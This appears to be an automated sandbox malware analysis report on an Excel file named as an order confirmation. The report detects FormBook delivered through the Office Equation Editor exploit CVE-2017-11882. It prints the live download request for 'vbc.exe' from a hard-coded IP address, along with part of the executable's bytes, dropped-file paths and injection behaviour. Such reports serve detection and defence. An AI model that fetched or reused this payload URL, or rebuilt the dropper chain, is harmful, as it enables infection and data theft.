Windows Analysis Report ORDERCONFIRMATION_00001679918.xlsx

Overview

General Information

Sample Name: ORDERCONFIRMATION_00001679918.xlsx
Analysis ID: 491746
MD5: 9c34f5c5e1a78c24947c3fe5fce601ea
SHA1: 727aa4c09c4c4f40d47ba87fa91921876b79f0f3
SHA256: ff1168daa5edebf6c75a6f24573e0b1e8153156b47e9c91712f8aa7968d745db
Tags: VelvetSweatshopxlsx
Infos:

Most interesting Screenshot:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Sigma detected: EQNEDT32.EXE connecting to internet
Multi AV Scanner detection for submitted file
Yara detected FormBook
Malicious sample detected (through community Yara rule)
Sigma detected: Droppers Exploiting CVE-2017-11882
Sigma detected: File Dropped By EQNEDT32EXE
Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Injects a PE file into a foreign processes
Sigma detected: Execution from Suspicious Folder
Office equation editor drops PE file
Machine Learning detection for dropped file
Drops PE files to the user root directory
Yara signature match
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Contains functionality to shutdown / reboot the system
Internet Provider seen in connection with other malware
Detected potential crypto function
Found potential string decryption / allocating functions
Contains functionality to call native functions
Downloads executable code via HTTP
Potential document exploit detected (unknown TCP traffic)
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Office Equation Editor has been started
Checks if the current process is being debugged
Drops PE files to the user directory
Potential document exploit detected (performs HTTP gets)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)
Contains functionality for read data from the clipboard

Classification

AV Detection:

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Multi AV Scanner detection for submitted file
Source: ORDERCONFIRMATION_00001679918.xlsx Virustotal: Detection: 30% Perma Link
Source: ORDERCONFIRMATION_00001679918.xlsx ReversingLabs: Detection: 28%
Yara detected FormBook
Source: Yara match File source: 00000004.00000002.469285570.000000000277A000.00000004.00000001.sdmp, type: MEMORY
Antivirus detection for URL or domain
Source: http://23.94.159.204/poc/vbc.exe Avira URL Cloud: Label: malware
Multi AV Scanner detection for domain / URL
Source: http://23.94.159.204/poc/vbc.exe Virustotal: Detection: 11% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Virustotal: Detection: 42% Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe ReversingLabs: Detection: 20%
Source: C:\Users\user\AppData\Local\Temp\nsd99E0.tmp\hmrrcvb.dll Virustotal: Detection: 15% Perma Link
Source: C:\Users\Public\vbc.exe Virustotal: Detection: 42% Perma Link
Source: C:\Users\Public\vbc.exe ReversingLabs: Detection: 20%
Machine Learning detection for dropped file
Source: C:\Users\Public\vbc.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\nsd99E0.tmp\hmrrcvb.dll Joe Sandbox ML: detected
Antivirus or Machine Learning detection for unpacked file
Source: 4.2.vbc.exe.2770000.4.unpack Avira: Label: W32/Delf.I
Source: 5.0.vbc.exe.1c0000.1.unpack Avira: Label: W32/Delf.I
Source: 5.2.vbc.exe.1c0000.0.unpack Avira: Label: TR/ATRAPS.Gen

Exploits:

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Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe Jump to behavior
Office Equation Editor has been started
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: wntdll.pdb source: vbc.exe, 00000004.00000003.465849366.000000000E750000.00000004.00000001.sdmp
Source: C:\Users\Public\vbc.exe Code function: 4_2_00405EC2 FindFirstFileA,FindClose, 4_2_00405EC2
Source: C:\Users\Public\vbc.exe Code function: 4_2_004054EC DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA, 4_2_004054EC
Source: C:\Users\Public\vbc.exe Code function: 4_2_00402671 FindFirstFileA, 4_2_00402671
Source: C:\Users\Public\vbc.exe Code function: 5_2_00402671 FindFirstFileA, 5_2_00402671
Source: C:\Users\Public\vbc.exe Code function: 5_2_00405EC2 FindFirstFileA,FindClose, 5_2_00405EC2
Source: C:\Users\Public\vbc.exe Code function: 5_2_004054EC DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA, 5_2_004054EC

Software Vulnerabilities:

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Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 23.94.159.204:80
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 23.94.159.204:80

Networking:

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Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 27 Sep 2021 19:08:39 GMTServer: Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/8.0.10Last-Modified: Mon, 27 Sep 2021 07:27:42 GMTETag: "46591-5ccf50857974b"Accept-Ranges: bytesContent-Length: 288145Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 30 28 81 e9 51 46 d2 e9 51 46 d2 e9 51 46 d2 2a 5e 19 d2 eb 51 46 d2 e9 51 47 d2 71 51 46 d2 2a 5e 1b d2 e6 51 46 d2 bd 72 76 d2 e3 51 46 d2 2e 57 40 d2 e8 51 46 d2 52 69 63 68 e9 51 46 d2 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 6d 3a ff 56 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 60 00 00 00 84 02 00 00 04 00 00 2a 31 00 00 00 10 00 00 00 70 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 80 03 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 75 00 00 a0 00 00 00 00 70 03 00 e0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 7c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 66 5e 00 00 00 10 00 00 00 60 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a2 12 00 00 00 70 00 00 00 14 00 00 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 5d 02 00 00 90 00 00 00 06 00 00 00 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 80 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 e0 09 00 00 00 70 03 00 00 0a 00 00 00 7e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /poc/vbc.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 23.94.159.204Connection: Keep-Alive
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.159.204
Source: vbc.exe, vbc.exe, 00000005.00000000.466883914.0000000000409000.00000008.00020000.sdmp, vbc.exe.2.dr String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: vbc.exe, 00000004.00000002.467463161.0000000000409000.00000004.00020000.sdmp, vbc.exe, 00000005.00000000.466883914.0000000000409000.00000008.00020000.sdmp, vbc.exe.2.dr String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: vbc.exe, 00000004.00000002.467563721.0000000001CD0000.00000002.00020000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: vbc.exe, 00000004.00000002.467563721.0000000001CD0000.00000002.00020000.sdmp String found in binary or memory: http://www.%s.comPA
Source: F76D3143.emf.0.dr String found in binary or memory: http://www.day.com/dam/1.0
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F76D3143.emf Jump to behavior
Source: global traffic HTTP traffic detected: GET /poc/vbc.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 23.94.159.204Connection: Keep-Alive

Key, Mouse, Clipboard, Microphone and Screen Capturing:

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Contains functionality for read data from the clipboard
Source: C:\Users\Public\vbc.exe Code function: 4_2_00404FF1 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard, 4_2_00404FF1

E-Banking Fraud:

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Yara detected FormBook
Source: Yara match File source: 00000004.00000002.469285570.000000000277A000.00000004.00000001.sdmp, type: MEMORY

System Summary:

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Malicious sample detected (through community Yara rule)
Source: 00000004.00000002.469285570.000000000277A000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.469285570.000000000277A000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Yara signature match
Source: 5.0.vbc.exe.1c0000.1.raw.unpack, type: UNPACKEDPE Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 4.2.vbc.exe.2770000.4.unpack, type: UNPACKEDPE Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 4.2.vbc.exe.2770000.4.raw.unpack, type: UNPACKEDPE Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 5.0.vbc.exe.1c0000.1.unpack, type: UNPACKEDPE Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 5.2.vbc.exe.1c0000.0.unpack, type: UNPACKEDPE Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 00000005.00000000.466845988.00000000001C0000.00000040.00000001.sdmp, type: MEMORY Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 00000004.00000002.469258298.0000000002770000.00000004.00000001.sdmp, type: MEMORY Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 00000004.00000002.469285570.000000000277A000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.469285570.000000000277A000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Contains functionality to shutdown / reboot the system
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040312A EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess, 4_2_0040312A
Source: C:\Users\Public\vbc.exe Code function: 5_2_0040312A EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess, 5_2_0040312A
Detected potential crypto function
Source: C:\Users\Public\vbc.exe Code function: 4_2_00406354 4_2_00406354
Source: C:\Users\Public\vbc.exe Code function: 4_2_00404802 4_2_00404802
Source: C:\Users\Public\vbc.exe Code function: 4_2_00406B2B 4_2_00406B2B
Source: C:\Users\Public\vbc.exe Code function: 4_2_73067500 4_2_73067500
Source: C:\Users\Public\vbc.exe Code function: 4_2_7306BA78 4_2_7306BA78
Source: C:\Users\Public\vbc.exe Code function: 4_2_7306BA87 4_2_7306BA87
Source: C:\Users\Public\vbc.exe Code function: 4_2_7306754F 4_2_7306754F
Source: C:\Users\Public\vbc.exe Code function: 5_2_00406354 5_2_00406354
Source: C:\Users\Public\vbc.exe Code function: 5_2_00404802 5_2_00404802
Source: C:\Users\Public\vbc.exe Code function: 5_2_00406B2B 5_2_00406B2B
Found potential string decryption / allocating functions
Source: C:\Users\Public\vbc.exe Code function: String function: 00402A29 appears 51 times
Contains functionality to call native functions
Source: C:\Users\Public\vbc.exe Code function: 4_2_7306BF13 CreateProcessW,NtQueryInformationProcess,VirtualAllocEx,CreateRemoteThread,SuspendThread, 4_2_7306BF13
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Users\Public\vbc.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: ORDERCONFIRMATION_00001679918.xlsx Virustotal: Detection: 30%
Source: ORDERCONFIRMATION_00001679918.xlsx ReversingLabs: Detection: 28%
Source: C:\Users\Public\vbc.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: C:\Users\Public\vbc.exe Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe' Jump to behavior
Source: C:\Users\Public\vbc.exe Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe' Jump to behavior
Source: C:\Users\Public\vbc.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\~$ORDERCONFIRMATION_00001679918.xlsx Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVRE2EE.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winXLSX@6/16@0/1
Source: C:\Users\Public\vbc.exe Code function: 4_2_00402053 CoCreateInstance,MultiByteToWideChar, 4_2_00402053
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 4_2_004042C1 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA, 4_2_004042C1
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: wntdll.pdb source: vbc.exe, 00000004.00000003.465849366.000000000E750000.00000004.00000001.sdmp

Persistence and Installation Behavior:

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Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Local\Temp\nsd99E0.tmp\hmrrcvb.dll Jump to dropped file
Drops PE files to the user directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file

Boot Survival:

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Drops PE files to the user root directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
